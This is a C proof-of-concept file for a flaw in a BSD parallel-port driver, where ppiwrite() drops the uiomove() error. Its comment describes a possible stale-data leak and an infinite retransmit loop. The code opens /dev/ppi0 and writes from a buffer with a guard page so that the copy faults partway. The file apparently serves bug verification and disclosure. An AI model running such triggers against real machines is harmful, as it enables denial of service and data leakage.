DF-4807 / ppiwrite_uio.c
/* * DF-4807 PoC: ppiwrite() drops the uiomove() return value (ppi.c:478). * Twin of the runtime-verified DF-4535 (lpt.c:763). * * while ((len = szmin(uio->uio_resid, BUFSIZE)) != 0) { * uiomove(ppi->ppi_buffer, len, uio); <-- rc DROPPED * byte_peripheral_write(ppbus, ppi->ppi_buffer, len, &sent); * } * * With a faulting user buffer, bytes beyond what uiomove copied are stale * ppi_buffer content and are handed to byte_peripheral_write() for * transmission to the IEEE1284 master host; a fully-faulting write makes * uio_resid never shrink -> infinite retransmit loop. * * This program proves the runtime reachability boundary on a guest with a * QEMU-emulated SPP port: write() enters the peripheral-negotiation wait * (ppi.c:450, tsleep "ppiwrite" PCATCH) and blocks -- killable by SIGKILL * -- because no IEEE1284 *master* peer exists to negotiate. The * stale-byte transmission facet requires physical 1284 peer hardware. * The dropped-error code shape is proven by objdump of the module binary * (ppiwrite.dis: uiomove at 0x59e, %eax never tested before * byte_peripheral_write at 0x5b0, whose return IS tested at 0x5b8). * * Usage: ./ppiwrite_uio & then: kill -9 <pid> (signal(3) installs * SA_RESTART, so a caught signal makes the write restart; use SIGKILL) */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <string.h> #include <sys/mman.h> int main(void) { int fd; char *buf; fd = open("/dev/ppi0", O_RDWR); if (fd < 0) { perror("open /dev/ppi0"); return (1); } printf("[+] opened /dev/ppi0\n"); buf = mmap(NULL, 8192, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (buf == MAP_FAILED) { perror("mmap"); return (1); } memset(buf, 'A', 8192); if (mprotect(buf + 4096, 4096, PROT_NONE) != 0) { perror("mprotect"); return (1); } printf("[+] buffer mapped, guard page at +4096 (write faults partway)\n"); printf("[*] write(fd, buf, 8192) -> blocks in the 1284 peripheral\n"); printf(" negotiation wait (no master peer on QEMU); kill -9 me\n"); fflush(stdout); write(fd, buf, 8192); printf("[+] write returned\n"); return (0); } |